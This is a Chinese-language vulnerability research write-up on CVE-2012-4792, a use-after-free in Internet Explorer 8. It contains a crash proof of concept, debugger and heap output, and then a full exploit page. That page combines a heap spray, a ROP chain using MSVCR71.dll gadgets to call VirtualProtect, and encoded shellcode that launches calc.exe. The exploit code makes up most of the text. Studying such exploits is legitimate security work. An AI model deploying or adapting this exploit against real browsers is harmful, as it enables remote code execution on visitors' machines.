本文探討 Internet Explorer 8 瀏覽器中一個經典的 Use-After-Free (UAF) 漏洞:CVE-2012-4792。
實驗環境:
- Windows 7 SP1 EN
- IE 8.0.7601.17514
POC:
<!DOCTYPE html>
<html>
<head>
<script>
function exploit() {
var e0 = null;
var e1 = null;
var e2 = null;
try {
e0 = document.getElementById("a");
e1 = document.createElement("div");
e2 = document.createElement("q");
e1.applyElement(e2);
e1.appendChild(document.createElement("button"));
e1.applyElement(e0);
e2.innerHTML = "";
e2.appendChild(document.createElement("body"));
} catch (e) {}
CollectGarbage();
}
</script>
</head>
<body onload="exploit()">
<form id="a"></form>
</body>
</html>
POC 觸發後的錯誤訊息:
(ecc.f00): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0bec6fa8 ebx=0bdb5f30 ecx=00000052 edx=00000000 esi=00000000 edi=0bec6fa8
eip=6a7ae1cb esp=0859d490 ebp=0859d4e4 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x4d0:
6a7ae1cb 8b07 mov eax,dword ptr [edi] ds:002b:0bec6fa8=????????
透過堆疊分析 (Heap Analysis) 可確認,edi 指向的記憶體區域已經被釋放:
0:005> !heap -p -a edi
address 0bec6fa8 found in
_DPH_HEAP_ROOT @ 561000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
bef057c: bec6000 2000
73d090b2 verifier!AVrfDebugPageHeapFree+0x000000c2
77cc1464 ntdll!RtlDebugFreeHeap+0x0000002f
77c7ab3a ntdll!RtlpFreeHeap+0x0000005d
77c23472 ntdll!RtlFreeHeap+0x00000142
75d114dd kernel32!HeapFree+0x00000014
6a64dc7a mshtml!CButton::`scalar deleting destructor'+0x0000002f <----
關於此漏洞更詳細的原理分析,可參考:HAPPY NEW YEAR ANALYSIS OF CVE-2012-4792

在研究此漏洞的利用方式時,筆者發現了一些有趣的資料,特別是《安全保護技術 ASLR 繞過啟示錄》。
其中,安全研究員 tombkeeper 對 Windows 系統細節的深入理解令人印象深刻。
Slides, codes and videos of the talk “DEP/ASLR bypass without ROP/JIT” on CanSecWest 2013
<!DOCTYPE html>
<html>
<head>
<script>
//Fix BSTR spec
function alloc(bytes, mystr) {
while (mystr.length < bytes) mystr += mystr;
return mystr.substr(0, (bytes - 6) / 2);
}
block_size = 0x1000;
padding_size = 0x5f4; //offset to 0x0c0c0c0c inside our 0x1000 hex block
Padding = "";
NopSlide = "";
var Shellcode = unescape(
"%u59a8%u7c36" + // 0x7c3659a8 : ,# POP EBP # RETN [MSVCR71.dll]
"%u59a8%u7c36" + // 0x7c3659a8 : ,# skip 4 bytes [MSVCR71.dll] !!EBP
"%u098d%u7c36" + // 0x7c36098d : ,# POP EBX # RETN [MSVCR71.dll]
"%u0201%u0000" + // 0x00000201 : ,# 0x00000201-> ebx !!EBX
"%u58bc%u7c34" + // 0x7c3458bc : ,# POP EDX # RETN [MSVCR71.dll]
"%u0040%u0000" + // 0x00000040 : ,# 0x00000040-> edx !!EDX
"%u1298%u7c37" + // 0x7c371298 : ,# POP ECX # RETN [MSVCR71.dll]
"%uc9ba%u7c38" + // 0x7c38c9ba : ,# &Writable location [MSVCR71.dll] !!ECX
"%u2eb9%u7c34" + // 0x7c342eb9 : ,# POP EDI # RETN [MSVCR71.dll]
"%ud202%u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]!!EDI
"%u9e85%u7c35" + // 0x7c359e85 : ,# POP ESI # RETN [MSVCR71.dll]
"%u15a2%u7c34" + // 0x7c3415a2 : ,# JMP [EAX] [MSVCR71.dll] !!ESI
"%u4cd6%u7c34" + // 0x7c344cd6 : ,# POP EAX # RETN [MSVCR71.dll]
"%ua151%u7c37" + // 0x7c37a051 =>al+ef = 0x7c37a040 : ,# ptr to &VirtualProtect()
"%u8c81%u7c37" + // 0x7c378c81 : ,# PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll]
"%u5c30%u7c34" + // 0x7c345c30 : ,# ptr to 'push esp # ret ' [MSVCR71.dll]
"%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c" +
"%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c" +
"%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c" +
"%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c" +
"%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c" +
"%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c" +
"%u8b05%u7c34" + // 0x7c348b05 : # XCHG EAX,ESP # RETN ** [MSVCR71.dll]
// Windows exec calc.exe
"%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f" +
"%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a" +
"%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6" +
"%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3" +
"%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0" +
"%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0" +
"%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300" +
"%ud5ff%u6163%u636c%u652e%u6578%u4100"
);
for (p = 0; p < padding_size; p++) {
Padding += unescape("%u0c0c");
}
for (c = 0; c < block_size; c++) {
NopSlide += unescape("%u9090");
}
NopSlide = NopSlide.substring(
0,
block_size - (Shellcode.length + Padding.length)
);
var OBJECT = Padding + Shellcode + NopSlide;
OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
var evil = new Array();
for (var k = 0; k < 150; k++) {
evil[k] = OBJECT.substr(0, OBJECT.length);
}
</script>
<script>
function exploit() {
var junk = unescape("%u0c0c%u0c0c");
while (junk.length < 0x100) junk += junk;
var e0 = null;
var e1 = null;
var e2 = null;
try {
e0 = document.getElementById("a");
e1 = document.createElement("div");
e2 = document.createElement("q");
e1.applyElement(e2);
e1.appendChild(document.createElement("button"));
e1.applyElement(e0);
e2.innerHTML = "";
e2.appendChild(document.createElement("body"));
} catch (e) {}
CollectGarbage();
e1.title = junk.substring(0, (0x58 - 6) / 2);
}
</script>
</head>
<body onload="exploit()">
<form id="a"></form>
</body>
</html>
漏洞挖掘與利用是一個極具挑戰性的領域。許多網路上公開的技術可能已存在多年,若要發現創新的漏洞利用方法,需要扎實的基本功與持之以恆的努力。在面對挫折時,保持耐心與毅力尤為重要。不斷地學習與實踐,是提升漏洞研究能力的關鍵。